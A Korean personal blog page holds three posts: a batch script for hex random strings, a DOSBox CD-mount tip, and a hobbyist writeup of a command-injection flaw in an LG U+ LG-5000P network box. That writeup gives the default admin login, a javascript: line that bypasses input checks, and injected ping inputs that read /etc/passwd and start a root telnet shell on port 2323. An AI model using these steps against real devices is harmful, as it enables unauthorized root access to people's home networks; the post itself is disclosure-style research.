얼마 전에 윈도우즈 배치파일을 작성하던 중 16진수 난수를 생성해야 할 일이 생겼습니다.

@echo off

:TTS
set /a HN=%RANDOM% %% 16
if %HN%==10 set HN=A
if %HN%==11 set HN=B
if %HN%==12 set HN=C
if %HN%==13 set HN=D
if %HN%==14 set HN=E
if %HN%==15 set HN=F
set HASH=%HASH%%HN%

set /a LOOP=%LOOP%+1
if %LOOP% lss 32 goto TTS

echo %HASH%
pause

  배치파일은 변수의 생성과 조작에 있어 상당히 제한적이다는 느낌을 받았습니다.
개인적으로 GOTO문을 좋아하지 않는데, FOR문을 사용할 수 없어서 위와 같이 작성했습니다. 

  A~F까지의 문자를 a~f로 변경하시면 소문자로 사용하실 수 있습니다. 출력 길이는 32를 조절하면 됩니다.

  실행 속도는 매우 느린 편입니다. set HASH=%HASH%%HN% 부분에서 메모리를 효율적으로 사용하지 못해 생기는 문제로 보입니다. 더 좋은 아이디어가 있으신 분들은 의견 남겨주시면 감사하겠습니다.

Posted by Hanulgoh
,

  언제부턴가 집에 들어와 전기를 계속 먹고 있는 LG-5000P이 눈에 들어왔다. 왠지 믿음이 가지 않는 외관이다. 아래의 사진과는 달리 여기서 테스트한 제품은 LG 로고 대신 LGU+ 라는 회색 글자가 큼지막하게 인쇄되어 있다.


  LG-5000P는 LG U+TV의 셋톱박스와 함께 사용하는 장비이다. 유무선공유기 NAPL-5000도 함께 사용하는 고객의 입장에서는, NAPL-5000에 멀티캐스트(multicast) 기능을 통합하여 간소화 할 수도 있었을텐데, LG U+는 왜 이렇게 복잡한 구조로 서비스를 하는지 모르겠다.

  어쨌든, 집에서 특별히 할 일이 없다보니 이것저것 뜯어보는(?) 취미가 발동해서 이 친구를 분석해보기로 했다. 하드웨어는 건드리지 않고 포트 스캔을 해 보았다. 관리페이지 접근을 위한 TCP/80포트를 제외하고는 별 반응이 없었다.

  구글링을 통해 관리페이지의 사용자이름/암호가 user/power이라는 것을 알게 되었다. 외관과 어울리는 관리페이지가 나타났다. 인터페이스와 기능도 상당히 부실하다. 어찌되었건.. 원하는(?) 것을 찾아보기로 했다.

  눈에 들어온 부분은 '관리자 설정 - Ping 테스트' 라는 메뉴. 주소는 다음과 같다.

http://192.168.219.1/cgi-bin/webctrl.cgi?action=pingtest_page


   시험삼아 127.0.0.1을 입력해보니 정상적으로 다음의 값이 출력되었다. 폼의 내용을 조작하면 무언가를 할 수 있을 것 같다.

PING 127.0.0.1 (127.0.0.1): 56 data bytes 84 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.8 ms 84 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.5 ms 84 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.6 ms --- 127.0.0.1 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss  round-trip min/avg/max = 0.5/0.6/0.8 ms


  ping 뒤에 POST값으로 넘어온 문자열을 이용하는 것으로 보인다. 그래서 127.0.0.1|cat /etc/passwd를 입력해 보았더니 'Ping 주소가 잘못된 목적지 포멧입니다' 라는 에러를 띄운다. 이를 피하기 위해 자바스크립트를 무력화. 해당 페이지에서 주소줄에 다음을 입력하고 엔터를 해주면 포멧 체크를 무시할 수 있다.

javascript:function submitchk(f){} function submitchk_enter(f){}


  다시 127.0.0.1|cat /etc/passwd를 입력하면 다음과 같은 내용이 출력된다.

  root::0:0:root:/root:/bin/ash
  ftp:*:95:95::/var/ftp: 
  nobody:x:506:507:::


  이후 몇번의 작업을 거쳐서 다음의 명령어를 찾을 수 있었다.

127.0.0.1|/sbin/telnetd -p 2323 


  이후에는 해당 호스트의 TCP/2323포트를 이용한 텔넷 접속으로 루트의 권한을 가질 수 있다. 이 방법을 이용하기 위해서는 관리페이지의 접근 권한이 우선적이다. 그러나 당황스럽게도 정상적인 방법으로 power라는 비밀번호를 바꿀 수 없다. 암호 변경 버튼이 비활성화 되어있기 때문이다. LG U+는 회선 관리 뿐만 아니라, 보급하는 네트워크 장비에도 좀 더 신경을 써 줬으면 좋겠다.

Posted by Hanulgoh
,

몇몇 고전게임을 구동하기 위해 DOSBox를 사용하곤 합니다.

이때, "GoGo우리별" 과 같은 특정 게임들은 복사를 방지하기 위한 방편으로 CD 인식을 요구하는 경우가 있습니다.

다음은 폴더를 CD로 인식 하기 위한 팁입니다.

 

 

DOSBox 실행 후에 다음과 같이 입력하면 됩니다.

Z:\>mount [할당하려는 드라이브문자] [로컬 경로] -t cdrom
ex) mount d d:\ -t cdrom


매번 이 명령어를 치는 것이 번거로운 경우,
DOSBox 설치 폴더에서 Dosbox-0.00.conf 파일을 열어 맨 마지막에 다음 줄을 추가하세요.

[autoexec]
# Lines in this section will be run at startup.
mount [할당하려는 드라이브문자] [로컬 경로] -t cdrom

 

출처 : http://www.glennsguides.com/2008/01/dosbox-emulator-faq-how-to-mount-drive.html

'Temp' 카테고리의 다른 글

첫글  (1) 2011.12.03
[iCN 510/520] 커스텀 롬 제작 및 플래싱  (0) 2011.08.22
[APA-2000] 펌웨어 분석 (v1.2.24)  (21) 2011.08.06
[DocuPrint 203A] 토너 카운터 리셋하기  (1) 2009.11.26
Posted by Hanulgoh
,